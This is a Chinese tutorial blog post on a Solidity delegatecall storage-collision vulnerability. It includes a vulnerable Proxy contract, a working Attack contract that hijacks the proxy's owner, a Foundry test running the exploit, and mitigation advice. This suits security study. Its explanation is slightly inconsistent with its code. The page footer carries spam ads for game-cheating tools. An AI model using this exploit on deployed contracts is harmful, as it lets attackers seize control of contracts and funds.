Solidity&Foundry 安全审计测试 Delegatecall漏洞2
创始人
2024-11-10 17:08:49
0

名称:

Delegatecall漏洞2

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:

我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。

过程:

1、alice分别部署 Delegate、Attack和Proxy合约;
2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。


分析:        

Attack.attack() 函数先将自己的地址转换为 uint256 类型。

然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0——变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;

然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {     Delegate delegate;     address public owner;     uint public num;      constructor(address _delegateAddress) public {         delegate = Delegate(_delegateAddress);         owner = msg.sender;     }      fallback() external {         (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable         require(suc, "Delegatecall failed");     } }

Attack 代码:

 contract Attack {     Delegate delegate;     address public owner;     uint public num;      Proxy public proxy;      constructor(address _proxy) public {         proxy = Proxy(_proxy);     }      function attack() external {         address(proxy).call(             abi.encodeWithSignature(                 "pwn(uint256)",                 uint(uint160(address(this)))             )         );         //address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));     }      function pwn(uint _num) public {         owner = msg.sender;     } }

foundry测试代码:

contract ContractTest is Test {     Proxy proxy;     Delegate DelegateContract;     Attack attack;     address alice;     address bob;      function setUp() public {         alice = vm.addr(1);         bob = vm.addr(2);     }      function testDelegatecall() public {         DelegateContract = new Delegate(); // logic contract         vm.prank(alice);         proxy = new Proxy(address(DelegateContract)); // proxy contract         attack = new Attack(address(proxy)); // attack contract          console.log("Alice address", alice);         console.log("Proxy owner", proxy.owner());          // Delegatecall allows a smart contract to dynamically load code from a different address at runtime.         console.log("Change DelegationContract owner to bob...");          attack.attack();         vm.prank(bob);         address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));          console.log("Proxy owner", proxy.owner());         console.log(             "Exploit completed, proxy contract storage has been manipulated"         );     } }

相关内容

热门资讯

第4分钟辅助!广西老友玩友破解... 第4分钟辅助!广西老友玩友破解吗,一贯有辅助插件(有挂教学)1、任何广西老友玩友破解吗透视是真的假的...
8分钟辅助!心悦海南苹果版辅助... 8分钟辅助!心悦海南苹果版辅助器,确实真的是有辅助教程(有挂方略)亲,关键说明,心悦海南苹果版辅助器...
第一分钟辅助!四川血战到底辅助... 第一分钟辅助!四川血战到底辅助,本来有辅助神器(有挂透视)1、金币登录送、破产送、升级送、活动送。详...
第4分钟辅助!摸一把游戏跑得快... 第4分钟辅助!摸一把游戏跑得快辅助,一贯有辅助工具(有挂技术)1、该软件可以轻松地帮助玩家将摸一把游...
第6分钟辅助!天天爱柳州麻将辅... 第6分钟辅助!天天爱柳州麻将辅助器,确实真的是有辅助神器(真是有挂)1、让任何用户在无需天天爱柳州麻...
2分钟辅助!榕城510k破解版... 2分钟辅助!榕城510k破解版安卓,好像真的有辅助攻略(有挂神器)1、实时榕城510k破解版安卓透视...
第三分钟辅助!决战辅助软件,切... 第三分钟辅助!决战辅助软件,切实真的是有辅助脚本(有挂头条)决战辅助软件破解侠是真的助透视。每个模型...
第十分钟辅助!微乐小程序免费黑... 第十分钟辅助!微乐小程序免费黑科技是真的吗,都是有辅助神器(有挂神器)1、操作简单,无需微乐小程序免...
第五分钟辅助!余干510k副5... 第五分钟辅助!余干510k副510k,切实真的是有辅助脚本(确实有挂)1、余干510k副510k破解...
第2分钟辅助!心悦辅助透视脚本... 第2分钟辅助!心悦辅助透视脚本,真是是有辅助工具(有挂教学)1、进入游戏-大厅左侧-新手福利-激活码...